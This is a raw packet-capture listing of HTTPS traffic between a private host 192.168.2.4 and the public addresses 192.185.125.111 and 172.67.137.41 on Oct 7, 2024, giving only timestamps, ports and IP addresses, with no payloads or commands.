Oct 7, 2024 13:17:04.323887110 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.323978901 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.324052095 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.324120045 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.324181080 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.324258089 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.324326038 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.324384928 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.324426889 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.324496031 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.325671911 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.325752020 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.325830936 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.325903893 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.326572895 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.326648951 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.326847076 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.326917887 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.327224970 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.327286959 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.327999115 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.328071117 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.328200102 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.328269005 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.337357998 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.337533951 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338103056 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338259935 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338291883 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338324070 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338376045 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338478088 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338638067 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338699102 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338767052 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338787079 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338805914 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338831902 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338850021 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338881969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338891983 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.338921070 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.338936090 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.339643955 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.339732885 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.339776993 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.339857101 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.342087030 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.342176914 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.342191935 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.342206001 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.342281103 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.342341900 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.342406034 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.352828026 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.352914095 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.352987051 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.353061914 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.354123116 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.354190111 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.355654001 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.355736971 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.355813026 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.355875969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.355947018 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.356019974 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.356059074 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.356121063 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.356185913 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.356262922 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.394269943 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.394356966 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.394870043 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.410074949 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.410089970 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.410123110 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.410268068 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.410268068 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.411689043 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.411700010 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.411721945 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.411761045 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.411839962 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.411885977 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.411885977 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.411909103 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.411971092 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412044048 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412107944 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412182093 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412231922 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412242889 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412245035 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412266016 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412306070 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412336111 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412352085 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412362099 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412368059 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412380934 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.412434101 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412434101 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.412439108 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.413527966 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.413600922 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.413655043 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.413758039 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.414479971 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.414540052 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.414601088 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.414665937 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.414832115 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.414890051 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.415625095 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.415694952 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.415751934 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.415865898 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.422079086 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.440968037 CEST	49814	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.441001892 CEST	443	49814	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.444842100 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445002079 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445014954 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445070028 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445116997 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445117950 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445139885 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445168018 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445202112 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445223093 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445300102 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445450068 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445509911 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445578098 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445642948 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445655107 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445672035 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445678949 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445722103 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445813894 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445883989 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.445899963 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.445939064 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446002007 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446014881 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446053982 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446125031 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446135998 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446171045 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446234941 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446245909 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446423054 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446507931 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446579933 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446645975 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446686029 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.446748018 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.446827888 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449448109 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449588060 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449712992 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449712992 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449712992 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449783087 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449829102 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449836969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449836969 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449856043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.449886084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.449927092 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.450187922 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.450246096 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.482101917 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.482212067 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.492460012 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.499485016 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.499577045 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.499634027 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.499703884 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.499775887 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.499836922 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.499907017 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.499974966 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.500066042 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.500128984 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.501455069 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.501524925 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.501580000 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.501645088 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.502810955 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.502907038 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.502943039 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.503006935 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.503580093 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.503643036 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.504160881 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.504221916 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.504359007 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.504425049 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525088072 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525250912 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525346041 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525346994 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525386095 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525417089 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525444984 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525537014 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525599003 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525628090 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525667906 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525728941 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525743961 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525860071 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.525911093 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.525923014 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526096106 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526156902 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526166916 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526251078 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526323080 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526334047 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526391029 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526453972 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526465893 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526518106 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526535988 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.526559114 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.526601076 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526612043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526633024 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526695967 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526706934 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526802063 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.526854992 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.526865005 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.530467033 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.530759096 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.531430960 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.531596899 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.531600952 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.531632900 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.531657934 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.531677961 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.531999111 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.532063007 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.543256044 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.543517113 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.543514967 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.543577909 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.543625116 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.543625116 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.543840885 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.543904066 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.543936968 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.544003963 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.544970989 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.545041084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.553020000 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.553273916 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.553482056 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.558664083 CEST	49815	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.558681011 CEST	443	49815	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.569875002 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.569962025 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587025881 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587196112 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587209940 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587271929 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587284088 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587316036 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587347984 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587361097 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587613106 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587676048 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.587752104 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.587810993 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.588649988 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.588727951 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.588975906 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.589050055 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.590403080 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.590485096 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.590694904 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.590797901 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.590809107 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.590831995 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.590914011 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.591660976 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.591743946 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.592137098 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.592209101 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.601558924 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.601617098 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.617790937 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.617939949 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618046045 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.618046999 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.618083000 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618113041 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618141890 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.618231058 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618300915 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.618330956 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618370056 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618433952 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.618448973 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.618956089 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619029999 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619040966 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619102001 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619170904 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619182110 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619227886 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619293928 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619303942 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619335890 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619357109 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619431973 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619445086 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619445086 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619544983 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619606018 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619616985 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619647026 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619662046 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619724035 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619730949 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619748116 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619764090 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.619776011 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.619832039 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.636076927 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.636162996 CEST	49807	443	192.168.2.4	192.185.125.111
